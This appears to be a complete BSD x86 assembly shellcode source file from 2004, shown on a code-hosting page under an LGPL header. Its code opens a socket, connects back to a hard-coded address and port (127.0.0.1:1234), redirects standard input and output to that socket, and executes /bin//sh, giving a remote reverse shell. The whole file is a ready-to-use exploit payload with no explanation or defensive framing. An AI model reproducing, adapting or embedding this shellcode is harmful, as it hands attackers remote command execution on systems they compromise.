70 lines
1.5 KiB
ArmAsm
70 lines
1.5 KiB
ArmAsm
|
/*
|
||
|
|
* bsd-x86-cntsockcode.s
|
||
|
|
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||
|
|
*
|
||
|
|
* This library is free software; you can redistribute it and/or
|
||
|
|
* modify it under the terms of the GNU Lesser General Public
|
||
|
|
* License as published by the Free Software Foundation; either
|
||
|
|
* version 2.1 of the License, or (at your option) any later version.
|
||
|
|
*
|
||
|
|
* This library is distributed in the hope that it will be useful,
|
||
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||
|
|
* Lesser General Public License for more details.
|
||
|
|
*
|
||
|
|
* You should have received a copy of the GNU Lesser General Public
|
||
|
|
* License along with this library; if not, write to the Free Software
|
||
|
|
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||
|
|
*
|
||
|
|
*/
|
||
|
|
|
||
|
|
.global _start
|
||
|
|
|
||
|
|
_start:
|
||
|
|
|
||
|
|
# 64 bytes
|
||
|
|
|
||
|
|
cntsockcode:
|
||
|
|
pushl $0x0100007f
|
||
|
|
pushl $0xd20402ff
|
||
|
|
movl %esp,%edi
|
||
|
|
|
||
|
|
xorl %eax,%eax
|
||
|
|
pushl %eax
|
||
|
|
pushl $0x01
|
||
|
|
pushl $0x02
|
||
|
|
pushl $0x10
|
||
|
|
movb $0x61,%al
|
||
|
|
int $0x80
|
||
|
|
|
||
|
|
pushl %edi
|
||
|
|
pushl %eax
|
||
|
|
pushl %eax
|
||
|
|
pushl $0x62
|
||
|
|
popl %eax
|
||
|
|
int $0x80
|
||
|
|
|
||
|
|
pushl %eax
|
||
|
|
|
||
|
|
0:
|
||
|
|
pushl $0x5a
|
||
|
|
popl %eax
|
||
|
|
int $0x80
|
||
|
|
|
||
|
|
decl -0x18(%edi)
|
||
|
|
jns 0b
|
||
|
|
|
||
|
|
shellcode:
|
||
|
|
# xorl %eax,%eax
|
||
|
|
# pushl %eax
|
||
|
|
pushl $0x68732f2f
|
||
|
|
pushl $0x6e69622f
|
||
|
|
movl %esp,%ebx
|
||
|
|
pushl %eax
|
||
|
|
pushl %esp
|
||
|
|
pushl %ebx
|
||
|
|
pushl %eax
|
||
|
|
movb $0x3b,%al
|
||
|
|
int $0x80
|
||
|
|
|